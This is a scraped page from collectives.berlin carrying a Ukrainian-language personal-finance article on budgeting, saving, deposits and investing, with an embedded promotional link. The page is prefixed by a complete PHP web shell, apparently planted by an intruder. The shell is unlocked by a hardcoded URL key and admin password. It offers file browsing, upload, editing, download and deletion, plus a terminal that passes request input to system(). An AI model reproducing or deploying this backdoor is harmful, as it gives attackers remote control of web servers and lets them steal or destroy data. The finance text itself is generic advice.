if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Доступні кроки до фінансової стабільності для кожного – collectives.berlin

Your digital paradise.

Доступні кроки до фінансової стабільності для кожного

Перегляньте свої витрати, https://goodfinance.com.ua/ щоб зрозуміти, куди йдуть ваші гроші. Відстеження витрат на щоденній основі допоможе виявити зайві витрати та знайти можливості для економії. Використовуйте сервіси та додатки для управління фінансами, які дозволяють автоматизувати цей процес.

Складіть чіткий план заощаджень, орієнтуючись на свої доходи та витрати. Рекомендовано відкладати не менше 20% від щомісячного доходу. Розбийте цю суму на короткострокові та довгострокові цілі – це мотивуватиме вас дотримуватися плану.

Не залишайте борги без уваги. Перш ніж нараховувати нові витрати, візьміть на себе зобов’язання погасити кредитні картки та інші зобов’язання. Уникайте нових боргових зобов’язань, поки не впорядкуєте свої фінансові справи.

Розгляньте можливості інвестування на основі своїх фінансових цілей. Обирайте інструменти, які відповідають вашій толерантності до ризику, та створюйте diversified портфель, щоб знизити ризики.

Займайтеся самоосвітою у сфері особистих фінансів. Читайте книги, статті, слухайте подкасти та відвідуйте вебінари, щоб покращити свої знання і вміння. Чим більше ви дізнаєтеся про фінансування, тим краще ви зможете управляти своїми ресурсами.

Як скласти особистий бюджет і контролювати витрати

Визначте всі джерела доходу. Запишіть чистий дохід, який отримуєте щомісяця, враховуючи заробітну плату, додаткові заробітки або пасивні доходи. Це стане основою для вашого фінансового плану.

Класифікація витрат

Розподіліть витрати на три категорії: необхідні, бажані та непередбачені. Необхідні – це ті, без яких не обійтися, наприклад, комунальні платежі та продукти. Бажані включають розваги та покупки, які підвищують якість життя. Непередбачені витрати – це раптові витрати, які можуть виникнути у будь-який момент.

  • Необхідні витрати:
    • Продукти харчування
    • Квартплата
    • Транспорт
  • Бажані витрати:
    • Відпочинок
    • Спорт
    • Хобі
  • Непередбачені витрати:
    • Медичні витрати
    • Ремонт техніки

Використання додатків і таблиць

Скористайтеся фінансовими додатками або таблицями, щоб вести облік витрат. За допомогою цих інструментів можна легко контролювати свої фінанси. Встановіть щомісячні ліміти для кожної категорії витрат.

Регулярно переглядайте свій бюджет. Коригуйте його в разі змін у доходах або витратах. Це дозволить уникнути несподіваних дефіцитів та зберігати фінансову дисципліну.

Способи заощадження: від відкриття депозиту до інвестування

Відкриття депозитного рахунку є простим та надійним методом заощадження. Виберіть банк з вигідними умовами, де процентні ставки перевищують інфляцію. Зверніть увагу на терміни: короткострокові депозити дозволяють мати доступ до коштів, у той час як довгострокові забезпечують кращий дохід. Розгляньте і можливість автоматичного поповнення рахунку частиною вашого доходу.

Інвестування в фондові ринки

Фондові ринки пропонують різноманітні інвестиційні інструменти. Придбання акцій компаній із стабільним зростанням чи обрані ETF можуть принести високий прибуток. Визначте рівень ризику, з яким готові працювати, та завжди проводьте ретельний аналіз перед покупкою. Важливо диверсифікувати портфель, щоб знизити ризики.

Ще одним варіантом є облігації. Вони зазвичай менш ризиковані, ніж акції, та забезпечують фіксований дохід. Вибирайте облігації державних чи надійних корпоративних емітентів. Періодично переглядайте портфель облігацій, щоб адаптуватися до зміни економічної ситуації.

Альтернативні інструменти заощадження

Розгляньте інвестиції в нерухомість. Це не лише спосіб накопичення капіталу, а й можливість отримання пасивного доходу через здачу в оренду. Комерційна нерухомість зазвичай приносить вищий дохід, однак й ризики вищі. Важливо провести детальний аналіз локацій та стану ринку перед здійсненням угоди.

Криптовалюти можуть стати цікавою альтернативою для тих, хто готовий до високих ризиків. Проте без належних знань та аналізу ринку краще утриматися від великих вкладень. Досліджуйте, навички та інформацію про різні монети перш ніж здійснювати операції. Зосередьтеся на довгострокових стратегіях та не піддавайтесь емоціям.

Leave a Reply

Your email address will not be published. Required fields are marked *